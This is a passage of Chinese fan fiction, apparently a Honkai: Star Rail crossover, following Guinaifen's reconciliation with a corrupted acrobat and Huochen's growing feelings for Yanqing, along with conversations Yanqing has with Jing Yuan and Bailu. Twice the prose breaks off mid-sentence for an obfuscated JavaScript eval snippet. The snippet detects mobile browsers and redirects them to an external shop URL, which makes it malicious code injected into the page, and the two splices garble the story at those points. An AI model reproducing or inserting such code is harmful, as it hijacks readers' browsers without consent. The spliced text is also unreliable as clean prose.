锦书不是守护者,刚才商量计划时她就举手说要躲起来了,现在待在对面屋顶看情况。 格妮薇儿也不是,现在却还站在这里。 “你是不是对她黑化的原因有所猜测?”他挪两步,悄悄问。 格妮薇儿也悄悄答,边答边点头:“对,但还需要验证。” “对了前辈,我交到的仙舟朋友,”她指指素裳,“帮我起了个仙舟名字,叫‘桂乃芬’,你也可以这么叫我。” 哦,新名字……怎么突然说这个? 但火尘没空想太多,冰冻已经解开,这个黑化蛋让他看到了了解守护甜心概念以来最诡异的一幕: 先是体积变大、一直变大,从巴掌大小,变到有半人高、一人高,速度快得吓人,他忍不住往彦卿身后缩缩,彦卿侧身挡住他。 到有一人高时,体积膨胀终于停止,但中部突然裂开一道缝,像一张漆黑的大嘴,把眼神空洞的杂技演员一口吞下了! 火尘震惊。 “这是‘变身’,”彦卿解释道,“是守护甜心成长到一定阶段后,给持有者附加的一层特殊强化状态,比形象改造更强力,通常无法长久保持。” “正常变身不这样,这是黑化变身。” “她会怎么样?” “会被孵出来,像守护甜心那样。” 话音刚落,就听到“啵”的一声,蛋不见了,原本一身简单短打杂技演员变成了夸张的黑深残杀马特,头上顶着醒目的白叉。 火尘咽口水。 正常真人大小,压迫感可比巴掌大的黑化蛋强了十倍不止。他感觉脑袋上的包又开始痛了。 “得想办法让她说点什么……” 他听见彦卿自语,示意对方低头看。 彦卿不明所以,顺着视线看去:桂乃芬不知何时已经走到那么近的位置,还没有形象改造。 “危险……!” 但下一刻,桂乃芬仰头,正对着黑化变身的同伴大喊: “我们来比试吧!” “你就是想跟我比试,对吧!” 35.想向彦卿讨要的东西 原来是杂技团的新老王牌对决。 在场只有素裳最近都和格妮薇儿、现在该叫桂乃芬,待在一起,她稍一细想,就想明白桂乃芬为什么这样发问,也解释给他们听。 “在这之前,那位杂技前辈已经向小桂子提过好几次比试了,但是小桂子觉得大家毕竟是一个团的,怕比试伤了和气,就一直没答应,对方也就没有强求。” 会是因为这个吗? 事实证明素裳和桂乃芬想的不错,杂技演员听完这话就落了地,开口:“比什么?” 桂乃芬含糊:“你说比什么就比什么。”兴许是怕触了对方霉头。 对方反倒拧起眉头。 彦卿神情一凛,抬手在周围布下小型剑阵,避免街道建筑损坏,又往前几步,离对峙中的两人更近些。 火尘看明白,这人正预备着情况有变时冲过去把桂乃芬带回来。 但桂乃芬大概不会拿自己的生命开玩笑。 火尘是在丹鼎司认识桂乃芬的,那时还叫格妮薇儿,刚到仙舟没几天。 也是短生种,也是营养不良的并发症,当时格妮薇儿的哥哥也在,似乎有事要忙,又放不下格妮薇儿一个人留在丹鼎司治疗,看到他居然一下放心了。 格妮薇儿对仙舟的一切都很新鲜,生着病还找他问这问那,说等自己肠胃好了之后要吃这个吃那个,此后也断断续续问过些别的问题,两人就这样保持着联系。 四场比试全败,桂乃芬撑着膝盖大喘气——正常人的体能很难赶上被守护蛋强化过的人,短生种也很难赶上长生种。 “你输了。” “对,我输了,”桂乃芬气没喘匀,哈哈笑,倒着仰头看停在自己身前的人,“高兴了吗?” 对方愣住。 “你高不高兴我不知道,反正我挺高兴的。” “我是无所谓啦,什么王牌不王牌的,杂技对我来说只是维生手段而已,”有劲儿了,桂乃芬爬起来,盘腿坐着掰手指,“回报大悠姐的照顾、跟你们交朋友、用杂技给大家伙儿逗乐……这些对我来说才重要呢!” “我觉得你应该也不讨厌我。”这话说得有点没底气,但她还是抬手,示意对方拉她一把——手停在空中,眼睛盯着对面,好像对方不拉她就不起来了。 那个人静止片刻,而后伸手,两手拉起桂乃芬。 一瞬间,黑化蛋的持有者周身亮起炫目的白光,照亮这一方小小角落,火尘眼睛微眯,待白光散去,恢复成原来模样的杂技演员正站在那里。 桂乃芬笑嘻嘻抬手,给分别一小会儿的伙伴一个大大的拥抱。 “很抱歉,桂乃芬,我看不起你是短生种,却又羡慕你的能力……” “就是说,你对我又爱又恨咯。” 对方露出一个无奈的笑。 素裳欢呼一声,跑过去一下抱两个。 “可算是结束了。” 白露一手被锦书牵着,另一手抓着把琼实鸟串,几步过来,公平公正一人一串: “吃糖吗?” 火尘道谢接过,拿在手里没吃,目光依然看向场上,三个姑娘围在一起兴奋地说着些什么。 “怎么了?”彦卿问他。 他转向彦卿,暖橙色灯光下,金发金眼的长生种少年正认真注视着他,一侧腮帮子鼓起,手里的琼实鸟串已经没了一颗,糖衣在灯下闪着透亮的光。 经历苦厄的短生种总是格外惜命,这点他和桂乃芬一样;不一样的是,在他回避和人建立联系时,桂乃芬珍惜着自己的每一段关系。 背景音里欢声笑语不断,那股被强压下去的烦躁重新涌上来,他疑惑自己此前的顾虑是否有意义。 俗套又可怕的寿命论。 他在罗浮上看到两百岁还能万事不操心的大婴儿,看到持明族轮回转世还是爱上一样的人,看到年岁愈长越发心如止水的仙舟长生种。 然后他想到彦卿,觉得自己果然还是物理隔绝一下比较好。 可是又太舍不得,他想着自己反正只能活这么长,活着的时候就该多看两眼。他惯常是不爱委屈自己的。 那就多看两眼吧。 那就多说两句话吧。 那就多陪他笑会儿闹会儿吧。 桂乃芬不是照样和长生种做朋友,每天都那么开心,一点都不内耗。 “火尘?” 白露仰头纳闷:“你不吃啊?那还我,我吃两串。” 他把糖递给白露,手空了,两手抬起一把按住彦卿肩膀。 彦卿糖吃到一半,不明所以:“嗯?” 火尘知道自己为什么犹豫。 因为他比较贪心,想向彦卿讨要的东西比桂乃芬多,偏偏自己又给不出什么。 “彦卿,我……” 他想说好多,想说“彦卿啊,我在长乐天碰到一个两百岁还没通过成年考试的巨婴,骂不过我张口就要哭还喊他爸妈来啊”; 想说“彦卿啊,我还碰到一个表白被拒的持明族,他的恋人前世前前世都喜欢他,但现在六七百岁了,没力气喜欢他了,他好难过啊,我也好难过啊”; 想说“彦卿啊,你们仙舟的年龄体系真的好犯规啊,我一想到看不到你两百岁三百岁四百岁五百岁六百岁七百岁的样子就觉得好亏啊”; 想说“彦卿啊,你会不会有魔阴身啊,你千万不要魔阴身啊,七八百岁也好,七八千岁也好,一生都快快乐乐的才好,没有痛苦的记忆就不会魔阴身了”。 …… 但他什么都没说出来,刚张口“啊”两下,眼皮就开始打架,脚步虚浮,彦卿的身影在眼前晃晃悠悠,他听见一大一小交谈: “啊,开始了,形象改造的后遗症,还以为会再迟一些发作……” “没事,我送他回去,白露大人呢?” “我有人送啦,瞎操心……” 什么后遗症?他感到前所未有的困意,晃来晃去直到再也站不住,往前一扑又正正好扑到熟悉的人。 ……这次真的不是故意的。 “睡吧,火尘,”他感到身前人一下一下拍他的背,用他最招架不了的语气轻轻说着话,“睡醒就好啦……” 等等啊,我还有话没说,虽然还没想清楚说哪句…… 火尘昏过去了。 之所以说昏过去,是因为当他顶着一头乱发从床上醒来时,发现自己睡了一天一夜。 刚睡醒有点迟钝,火尘掰手指按仙舟记时法算了一遍,又按星际系统时算了一遍,确实没错。 睡神转世吗,我。 小燃:“不用转世,你就是。” 他扭头,发出些懒得吵架时意义不明的气音,盯着自己守护甜心看了会儿,纳闷:“怎么感觉好久没看见你了?” “睡了一天一夜能不久嘛,”小燃倒没感觉,“不过这也怪不得你啦,和不是自己的守护甜心形象改造会消耗大量能量,变身则更加。” “你要不要开始做点体育锻炼?”守护甜心衷心提醒,“否则万一出事了都没力气跑。” 结合此前几次跑路的表现和同为短生种的杂技演员桂乃芬的表现,可以看出他主人的身体素质确实不太好。 火尘仰头想想,拿起玉兆点外卖:“……再说吧。” 唉。 主人好难带,小燃叹气。 火尘点了外卖就去洗漱,洗漱完在阳台等外卖,预备顺便看两页那天没看完的设计范例,玉兆冒弹窗,才想起自己该回消息。 弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390232|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的是素裳的好友申请,他点了接受,找了个打招呼的表情包发过去,素裳大概在忙,暂时没有回复; 然后是桂乃芬给自家杂技团打的广告和链接分享,点进去是一个直播账号,火尘顺手点了关注又划拉两下内容,就退出来; 最后是锦书给他发的一个抓狂表情包,配文“你怎么不告诉我!” 不告诉她什么?火尘纳闷,回了一句无感情的“什么”。 他又翻了翻,发现自己无故旷工居然没人联系也没追责,陷入沉思:“我存在感低成这样了?” “没啊,彦卿帮你请假了。” 彦卿。 记忆一瞬间全涌上来,他发现自己居然记得清清楚楚,包括彦卿惊讶又懵逼毫无防备心的呆傻样子,和最后哄他睡着时的语调——被言灵控制时就是这个调调。 啊啊啊啊啊!受不了! 小燃瞅着开始他主人毫无征兆地开始发癫,见怪不怪,送外卖的机巧鸟飞来了,小家伙落到手机上点了确认,机巧鸟就嘎嘎两声:“鹤运速递祝您用餐愉快。” 抑扬顿挫的人机腔调扯回了火尘的注意力,他坐下开始吃东西,吃了两口突然停下: “我觉得我这样下去不行。” 小燃:“我也觉得,所以你要跟彦卿表白了吗?” “不。” 小燃完全理解火尘的想法,所以现在他只是捧起调羹喝口汤,然后说自己是怎么做的: “我每天都想见到彦卿,我就去见了。” “我每天都跟彦卿说我喜欢他,他就会每天跟我说他也喜欢我。” “没什么不好承认的。” 火尘看他两眼,泄愤一样猛吃两大口,用力吞咽完,闷闷道:“我还不确定我是怎么想的,所以不能说。” “但你应该没这么在乎长短生的事了吧。” 火尘想想,摇头:“我倒是想不在乎。” 但是怎么可能不在乎。 小燃歪头:“至少物理隔离行不通咯。” 嗯。隔开一会儿,只会让他更想念彦卿,在下次见面的时候更难克制住自己。 说来也是很奇怪,他每次犯蠢犯二情绪不稳都会正好碰上彦卿,到现在怕不是已经形象全无。 他又划拉两下,找不到彦卿发来的消息,放下玉兆,又是一大口咬下去。 小燃一眼就看出他又在别扭什么:“彦卿昨天才来看过你呢,知道你没醒,当然就不发啊。” 火尘卡一下,回头:“没关门?” “哦,我给他开的窗。” 火尘:…… 小燃:“你不夸我吗?” “你看我夸得出口吗?”哪天彦卿被带坏了咱俩都要负连带责任的。 小燃板起脸,老神在在:“你还是太不了解彦卿。” 火尘抬眼看他。 意思是彦卿本来就有点小坏。他哪里不了解?他很了解,翻墙去找白露大人的时候他就看出来了。 “是,没你了解,”火尘板着脸收拾餐盒,“你可以天天去跟他说喜欢,看他练剑,陪他等他的守护蛋重新孵化。”我就只能在这里想东想西。 小燃“huh?”一声,一脸“你简直不可理喻”的表情: “讲点道理好不好,是我限制了你的行动吗?还是彦卿限制了?” “明明是你自己想东想西不肯去,心路历程比流云渡转来转去的机关通道还要弯,现在还跟我比上了?” “都说了我是你的守护甜心,跟自己有什么好比的?” 小家伙浮空,与他视线平齐,叉腰扫他两眼,“哼”一声,做出结论: “幼稚。” 火尘:…… 今晨嘴仗,火尘完败。 36.面对面傻乐的日子里 事实上,火尘还惦记着一件事。 彦卿的守护蛋在慰灵奠仪时动了一下,他那时很高兴,觉得自在孵出来指日可待。但此后就再也没看见彦卿主动提过此事,到现在他都要习惯彦卿身边没有守护甜心在了。 “我在彦卿桌上看到那个蛋了哦,”小燃回想,“看着挺好的,很稳定。” 稳定,就是没有要孵出来的迹象。 火尘上午在工造司蹲到了彦卿,确切说不是蹲,是彦卿抱着剑跑过来找他玩。 他琢磨不准该怎么旁敲侧击问,毕竟上次已经实践过了,直接问行不通,还可能被带着跑。 他在犹豫,彦卿已经熟练坐到他桌前,包裹往桌上一放,剑匣剑衣一拆,一开口好事临近一般喜气洋洋: “看,漂亮吧!”带着些许得意。 火尘倾身看,是一把……很像彦卿的剑:剑身是霜蓝色,内嵌云纹柳叶纹,剑格处两只白亮的小燕子一左一右对称,其上缀着红绳纹饰,剑柄处镶着一大一小两颗亮蓝色晶石,看着价值不菲。 他看看剑,又看看人,暗自点头:就是很像彦卿。 “漂亮。” 如果彦卿可以变作剑的形态,大概就是眼前这把。 “名字是‘燕啄’,”彦卿说得很顺畅,似乎已经不避讳什么了,“它在此前的战斗中多有磨损,现在总算能腾出时间保养一番。” 此前的战斗。 火尘捕捉到一个关键词,确实现在顺着问下去,问“此前的战斗是什么”,兴许就能顺利成章问出彦卿守护蛋闭拢的原因…… 可是彦卿现在好开心啊。 问这个会让他不开心吧。 【你简直是史诗级的恋爱脑,】小燃在他脑子里感叹,听不出语气好坏,【不是说担心?想问出来原因,然后帮忙解决心病,让彦卿的守护蛋早日孵出来?】 【我改主意了,】火尘理直气壮,【就算问出原因,我也不一定能帮上忙。】 彦卿的心病,彦卿自己就能解决,他只要看着就好。 对面正在念念叨叨给他介绍飞剑性能,眼睛亮得能当灯泡使。 他不觉得自己有开导彦卿的能力,现在问那些问题,除了满足自己好奇心外没有别的增益,还会让彦卿心情变差,傻子才干这种事。 小燃低低笑两声,不说话了。 火尘遵照自己的意愿盯了人好一会儿,直到彦卿洋洋洒洒介绍完觉得口渴,他顺手倒杯水递过去。 “谢谢!”彦卿两手接过,从宝贝剑的世界走出来,后知后觉有些懊恼,“……是不是很无聊?” “还好,”火尘答得含糊,“不无聊。” 事实上: 叽里咕噜说什么听不懂…… 眼睛真好看。 声音真好听。 说话腔调真可爱。 感觉可以坐这儿听几年…… 怎么停了?哦,渴了。 彦卿喝完水,重新把剑裹好,他都预备挥手道别了,对方却瞧他两眼,开口: “火尘有什么要问我的吗?” “啊?” 剑匣搬到桌下了,彦卿又认真打量一阵,点头肯定自己的判断:“看起来有。” 火尘也不知道彦卿是从他哪根头发丝里看出来有的,事起突然,又不打算违背刚做下的决定,啊吧啊吧只想搪塞过去: “我想问、我想问……” 一时着急,反倒叫他想起另一件事,也是叫他费解的事: “我想问,你当时怎么没躲开?” “当时?” “就是昨天、啊不是,前天在金人巷的时候。” 确实是一件很小的事,正适合用来转移话题,彦卿经他提醒,想了想才想起来:“那个啊……” 像是想起什么有趣的事情,彦卿笑出声来,看他时也依然笑眯眯的: “因为火尘说——‘束手就擒吧!’” 似乎意图模仿他的反派语调,但话音太欢快,又一直在笑都没有停过,显得有些不伦不类。 因为你这么说,所以我就这么做了。 火尘:…… 那你很乖了。 他沉默,低头捂脸,都不知道从哪个步骤开始后悔才好。 不该没看仔细就往那边冲; 不该中二病发作反派发言; 不该一时上头追黑化蛋。 …… 算了。 彦卿止住笑声了,但只同他对视一眼,这人的笑意就从眉眼间漏出来,暖融融的。 而他只是问了一个问题。 火尘尴尬完,看见对面明亮的笑脸,突然就有点骄傲:他用一个问题把彦卿逗笑了。 他都没想过自己拥有逗笑别人的能力,如果算能力的话;而一个人因为他做的某些事情露出笑容,也会让他由衷高兴起来。 “你笑了,”距离被倏尔拉近,彦卿凑过来,新奇得不行,“再笑一个?” 火尘:…… 如果彦卿是那种玩世不恭的公子哥,闲着没事调戏别人,那还好说,怼回去就行了;偏偏这种纯粹的好奇心,最是叫人难以招架。 他板起脸,拧眉作生气状。 彦卿又被逗笑了。 瞎高兴个什么劲儿呢。他绷紧脸想,最后还是没绷住,跟彦卿面对面傻乐,也不知道是在乐什么。 彦卿乐完终于要走了,起身时依然能看出很高兴,眨眨眼对他说: “放心,我没事。” “自在也没事。” 又被看出来了。 火尘已经不去探究彦卿是怎么看出来的了,摆摆手:“再见,有空再来。” 彦卿转身离开。 * 神策府。 彦卿把剑放回剑架上,坐下静静对着自己的守护蛋发呆。 他没有骗火尘,他确实很好。自在也很好,现在偶尔还能浮空,不过只一小会儿,很快就会像断了供能的玩具一样掉下来;偶尔的偶尔,他能听到自在跟他说话,不过都是短短一句,有点模糊。 已经很好啦。 但还不够好。 两种想法同时存在于他心里,催促他去做更多事情,寻找更好的解决方法。 他碰一下那个蛋,蛋歪了歪,又自己正回来,往他的方向倒,蹭了蹭他的指节。 彦卿一怔,低头笑两声,轻轻蹭回去。 “谢谢你呀,”他对自己的守护蛋承诺,“再等我一会儿吧。” 最近没有前阵子那样忙了,他前次接的任务还是调查金人巷有人冒充云骑的事件,结果那人只是想把竞争对手的生意搅黄,雇人冒充云骑吓唬他们。 彦卿感叹:形势一松,大家的心思似乎都活泛多了。 他绕去正厅,从青镞姐那儿取了今天要打包给将军的公文,就往丹鼎司赶——伤还没好就为各种事情起身的后果,就是到现在还得躺在丹鼎司。 但将军已经醒了,无论如何都不肯闲下来,让彦卿打包文件带过去是神策府大家想的馊主意。说是馊主意,但也稳稳实施这么多天了。 到了。 彦卿敲门:“将军。” 没人应。 他又喊了两声,还是没应。 “打扰了。” 推开门,里边没人。 很好。 将军人不在神策府,也不在病房,此事声张不得,但总要见着人影才行。彦卿在外边转转,联上一只机巧鸟来找人。 丹鼎司海边风高浪急,神识连接机巧鸟有点飞不稳,但好在人很好找,也没躲着。 他飞没一小会儿,就见将军像个散步回来的老大爷溜溜达达,见着他了,止步在机巧鸟充能桩柱边。 彦卿飞下来,停在柱子上,正正好视线平齐。 将军笑眯眯:“彦卿。” 他扇了扇翅膀,算是回答。 “真是对不住。” 您脸上可看不出半点对不住啊。 将军拍拍腿:“唉呀,我走得好累啊,哎呀,伤口好痛啊。” 彦卿:…… 不消片刻,他御剑赶来,挑挑拣拣选出一把剑身宽大的重剑,神识连接后可作飞剑使,再加几个防风防颠簸的阵法,也勉强可以载人用。 将军看他忙活:“我们彦卿真厉害。” 彦卿叹 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这回答似乎并不使人满意,将军长吁一口气,摇摇头笑道: “我办事就是大事,你办事就是小事?” 啊? 彦卿困惑:“跟是谁来办没有关系,客观上看这两件事……” “你知道我刚才办的什么事吗?” “……不知道。” 他只是觉得,让将军冒伤也要跑出去管的事肯定是大事。 将军笑他:“你这样哪里来的客观?” 他吞声,辩不过将军,算了。 “至少彦卿知道自己做了什么。” “哦?你说说看,自己做了什么。” 彦卿一条一条数:“不听指挥、擅离职守、识人不清、自视过高、冲动行事……” “那我也看到了,”将军老神在在,“云骑骁卫彦卿身先士卒,在线索严重不足的情况下,孤身一人找到了通缉犯,完成了全船云骑未能完成的壮举,头脑灵活,主动性强,值得称赞。” 啊? 彦卿茫然,但将军还没说完: “又在祈龙坛以一敌二,寸步不让,为保护建木封印不受侵扰贡献了自己的力量,勇气可嘉,但判断力稍有欠缺……不过这也是我之过错,是我没有告诉你相关信息……” “战局也好,历史上的饮月之乱也好……我一直觉得你还是太小啦。” 将军站在门口,依然笑眯眯:“不过你还是做出了正确的选择。云骑军不收逃兵,即使自我怀疑,你也未曾生出过逃跑的心思。” “骁卫是云骑军的标杆,你是我自满的弟子,两个身份你都未曾辜负过。” 好突然的一番话。 彦卿呆在原地,不知道该说什么好,低头又抬头: “……将军,您若一直这样,彦卿都担心自己有朝一日铸成大错。” 将军挑眉:“批评的环节你自己已经完成了,我再批一通岂不多余?” 年轻人想事情就是容易二极管。一件事情由不同的人、站在不同的方向看,就是会不一样的。 彦卿做错事了?是错,差点阻拦了他真正想搬的救兵; 彦卿值得夸奖?当然,机敏、胆识、豪勇、责任感、爱人之心,哪一点不值得夸了? 趁年轻,叫这孩子多接受点新想法,总好过一直困在自己的想法里出不来。 “你哪天真干了混账事,我自然会训斥你,但不是现在,”他拍拍弟子肩膀,“做得很好,彦卿,祈龙坛那一遭,你已经在自己的能力范围里做到最好啦。” 徒弟一直低头不答话。 他略感不妙:“彦卿?” 被他叫了,才抬头,一抬头就叫他瞧见眼眶通红。 景元心里咯噔一下。 “……谢将军,”彦卿却不多说什么,慌乱抬手抹一把,行了个因为着急显得不伦不类的礼就往外赶,“彦卿现在去找白露大人!” 留他一人在门口,陷入沉思: 我说错话了? 37.和白露大人叙话 彦卿跑了好一段距离,又御剑升至高空,见四下无人才停下。 当然得跑,再不跑,他怕自己在将军面前哭出来。 他都那么大个人了。 将军老让他别说煽情话,偏偏自己最爱说煽情话,还喜欢上价值。 彦卿踩着剑在空中飘飘晃晃,停下抹眼泪时,守护蛋从口袋里钻出来,在他面前摇摆,彦卿破涕为笑: “你要是现在掉下去我可抓不住你。” 自在醒了,在他心里一声一声叫他的名字:【彦、彦卿、彦卿……】语气亲近又快乐。 彦卿手伸在它下面,预备掉下来时随时能接住,一边观察守护蛋这自闭拢以来最长的一次浮空。 数到第三十秒,守护蛋轻轻落下,没了动静。但彦卿知道它还在,把它轻轻放回口袋。 或许他该多夸夸自己?有助于守护蛋孵化? 他硬着头皮夸了两句,又反应过来觉得好笑,幸好周围没人。 他现在没有力量回报将军,只能尽力完成将军交办的每一件事,比如说代将军去看看可能受到惊吓的白露大人。 说起来,将军之前说还有个任务交给他,但那次之后到现在都没提过了……是交给别人办了吗? 他摇摇头不想这些,已经找到白露大人了,就御剑跳下去。 白露站在行医市集的龙树下,小小一个依然很显眼,见了他,反应有些慢半拍:“……彦卿啊。” “白露大人在想事情?”表情那么严肃,应该是了。 彦卿:“将军担心您受到惊吓,让我代他过来看看。” “惊吓……算是吧。” 白露揉揉脑袋:“不过最主要的不是惊吓。” 再左右看看,指着药房门口的竹椅:“我们去那边说吧。” 彦卿跟过去,和白露坐成一排,药房前晾晒药材的医士抬头看他们一眼,又低头忙活。丹鼎司的阳光打下来,许是因为靠海,很刺眼、又不怎么暖和。 白露盯着药材摊子,好一会儿才开口:“刚才丹恒先生来过。” 丹恒先生?那位长相同饮月龙尊一般无二的无名客? 《饮月大逆判读》里,饮月龙尊受褪麟之刑轮回转世,罪业却并未同普通持明一般一笔勾销,而是转世之后依然被判流放化外,不得踏足仙舟治处。 流放令是将军七百年前下的,重返仙舟与故意犯禁没有区别,因此他在见到丹恒后直接出手了。 而此后,这位饮月转世却在幻胧战中帮了仙舟大忙,流放令也已取消…… 白露大人望着前方出神,看不出在想什么。 大战结束后,他自知惹了祸,已经在尽力翻阅各种典籍来了解“饮月之乱”了,但能获知的信息很少,就算有,也都和他此前了解的一般无二,没什么新信息。 个中内情,应当比他想象的还要复杂得多。 而且大部头很难啃。 不过反正他亲身接触过那个人,典籍里找不到,用自己的眼睛和心去判断也不失为好方法。 彦卿回想半天,咂摸着:枪术真好。 别的想不起来了。 倒是想起自己还没道歉,他忍不住叹气。 白露也叹气。 他又打起精神问:“丹恒先生来过,然后呢?” 白露语气有些飘忽:“大战时,建木封印被解开了,他回来是想看看能不能修补封印。” “我和他同行一路,把封印补好了。” 彦卿吃惊:“是白露大人补好的吗?好厉害!” 白露亮出骄傲的笑容,可转眼又转为忧色,坐直后身体慢慢前倾,脚后跟踩着竹椅凳脚的横杠,手肘压着膝盖,两手托脸叹气。 这姿势有些佝偻,配合无精打采圈在一边的尾巴,就像缩成了一个小龙球。 看来不是一般的心情不好。 彦卿安静等待。 少顷,白露开口说话,语气依旧飘忽,像在说梦话: “彦卿啊……” “嗯,”他应声,“彦卿在。” “我跟你说过,我在记事起,就在这丹鼎司学医术了吧。” “嗯。”彦卿轻轻应。 他知道白露学医其实并非出自兴趣,也并非自己有这个需求,只是回过神来的时候,就已经每天都在学医。 隔着窗户看外面的四季,接诊没有尽头的病人,从解决疑难杂症中获取新鲜感和成就感;偶尔熬不住了逃出来,玩到丹鼎司差人来寻就乖乖回去。 慢慢的,就有了名动一方的衔药龙女。 “我以前老觉得,自己的世界只有丹鼎司那么大,实在太小了。”“我往外跑,就是在扩大自己的世界,所以总是很高兴,不管去哪个洞天我都很高兴。” “这次去鳞渊境修补建木封印,我的世界好像又变大一点。” “我以前还觉得,大人有大人的世界,小孩有小孩的世界,他们不管什么事情都不跟我说,不说就不说呗,反正我也不跟他们说。” “然后今天我发现,”白露恍惚着,“这两个世界是交叉的。” 并非界限分明,可能只是做出了符合自己本心的决定,在某个地方随随便便踏了一步,或者是已有准备但依然出乎意料地,轻而易举跨过了不存在的界限,见到了大人的世界。 然后再也无法回到全然无知的状态,回到自己的小世界里保持无知的快乐。 彦卿愣了一会儿才搭腔:“……嗯、嗯。” 无法装作无知。 他又何尝不是如此。 凛然杀意似乎依然残存于身,闭上眼睛就能看到那弯冰铸的月亮。 “但也并非全是坏事吧。” 白露转头看过来。 看到更广大的世界、更复杂的人心,了解自己如今的弱小,思考自己未来的去向。 他认真道:“确实多了很多烦恼,但也有另一种开心在。” 是在为什么开心?他说不准。 可他确确实实,在回想那一剑时,一边想起当头砸下的凛凛寒意,一边想起卯足力气接剑热血沸腾的自己,于是感到一阵充实。 他害怕死亡,可他向往那一剑——或许没有哪个剑士会不向往。 彦卿不清楚白露经历了什么才说出这句话,只是直觉白露和自己想法相似,就这么说。 白露一听这话,一下从小龙球坐直,似乎倾诉欲全涌上来了:“其实吧……” 没说出所以然,她跳下竹椅,看起来有点苦恼:“不能跟你说的东西太多了,光看能说的部分,好像我也没干什么大事。” “不过我自己觉得是很大的事啦,你说得也没错,”龙女大人重新叉起腰,神气十足,“确实不全是坏事。” “至少这阵子,我行动应该会方便许多。” 白露边说,边对他示意角落,一位丹鼎司的医士正似有似无地望向这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399751|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。彦卿对视线很敏感,早已察觉,但没感受到恶意,也就不管。 “我出来放风,他们现在都只会远远看。若换作以前,保不齐就要上来问‘什么时候讲完啊’‘什么时候随我等回去啊’了。” 就是说管束放松了。 彦卿若有所思:“与白露大人修补封印一事有关吗?” “对,”白露甩甩尾巴,上面的尺木锁还没摘,“大人就是只看重结果,唉,如果我早点显露这个补封印的能力,说不定就不会被关这么多年。” “不过再想远一点,若非幻胧作乱,建木封印根本就不会被打开,自然也就用不着修补。” “啊,仔细想想,如果不是丹恒先生,我现在怕是连建木封印在哪都不清楚,因为龙师长老根本没跟我提过,”白露也不生气,只是一阵唏嘘,“我在他们眼里当真只是个吉祥物,好控制,也没有威胁。” 可今次过后,情况怕是要变了。 显露出龙尊之力,可以得到族内部分人的承认;可同时也会激起部分人的忌惮,尤其是上任龙尊不在后的掌权长老。 彦卿不擅长思考弯弯绕绕的事情,可话到这份上,总归能反应过来,神情绷紧:“白露大人若是心有顾虑,神策府这边可以……” “可以给我安排厢房——”白露接话,接完就笑,“刚才将军也这么说,你们商量好的?” 彦卿摸摸自己脑袋。 “算啦,我总要适应的,丹恒先生也说了,我可以从现在开始做好准备。” 常年维持着孩童外貌的龙尊大人往前走两步,面朝广场中央的龙树,背对他——那是一棵大枫树,火红的枫叶纷纷扬扬往下落,叫人想起上代龙尊的名字。 “丹枫选了我当龙尊,虽然不清楚原因,”说到这里,白露顿住,背对他看不见表情,开玩笑一样吐槽,“但他真是个爱给人添麻烦的家伙。” 这话有些彦卿听不明白的亲近意味,或许是白露大人在鳞渊境修补封印时,感受到了那个人当时的心境。 管他呢。 彦卿从椅子上起来,隔着两步路蹲到白露左后方: “我不知道他如何,但我知道白露大人是很了不起的人。” 白露终于转过来面朝他,笑,却没应他这句: “我说我还有很多事情没告诉你,你不想知道吗?” 他点头:“想,不过白露大人应当有自己的考量,就像将军一样。” 虽然真相依旧扑朔迷离,但这段时间发生的事情,已经足够让他明白各人想法不同、立场也不一致——即便如此大家还是每天待在一起,可以预想以后也是一样。这样就足够了。 “把每个人的想法都摸得清清楚楚,那也太辛苦了,”彦卿老实答,“你们只是不让我知道,又不会害我。” “等我成长到有资格知道这些的时候,别人告诉我也好,我自己查也好,自然都会知道的,”史上最年轻的云骑骁卫说到这里又有些得意,“你们又能瞒我多久呢?” 白露看他好一会儿,突然笑了:“你这点好,说话老实,让人想要相信你。” “就是天真了点,”语气终于轻松下来,“不过反正我们又不是大人,天真就天真啦。” 彦卿指正,对照短生种的年龄算:“我再过几年就要长成大人了。” “那也是我先才对,”白露昂首挺胸,“我在上上任丹士长门下学医术的时候,你还没出生呢!” 38.彦卿的担忧 彦卿帮忙打了一下午下手,一直待到丹鼎司下班,白露被接回去休息,走之前,白露要看看他的守护蛋。 医生还在观察,他就迫不及待讲:“自在的状态好了一点。” 白露把蛋还他,笑:“是你的状态好了一点,你好它就好。” 彦卿点头应是。 “其实我本来就觉得,你不需要担心,慢慢就能好起来,”白露已经去牵侍女的手了,突然想起来,“但你那个朋友好像很担心你,就是你之前领来给我看的那个。” 彦卿一愣。 “上次在金人巷我借白云给他形象改造,白云说,他的想法好多好杂,”白露回想和守护甜心的聊天内容,“还好重,挤得她脑子晕晕的。” 彦卿心头一紧,指节不自觉蜷缩。 “他是工造司的新入门学徒吧,我看他平时好好的,哪里来这么多烦恼,说不定是在烦恼你的事呢。” 我的事? “是人都有烦恼,工造司的活儿不重,但长乐天琐事繁多,火尘也很忙的,”这话一出,原本紧张的心情都没了,彦卿无奈道,“怎么好这样想,未免太……”自恋?自我意识过剩? “我告诉你一声而已,看你跟他关系好。” 白露就随口一提,也没纠结:“你们两个都一样,需要心理疗愈就自己来丹鼎司看,不要讳疾忌医。” 彦卿连连应是,看着白露离开,自己停留片刻,也转身返回长乐天。 火尘在想什么,他心中隐隐有些猜测。 记不得是哪一回,离现在似乎已经很久了,他去工造司找火尘,正碰上其他人也来找火尘,似乎在聊些什么,他停住,预备等人说完再上前。 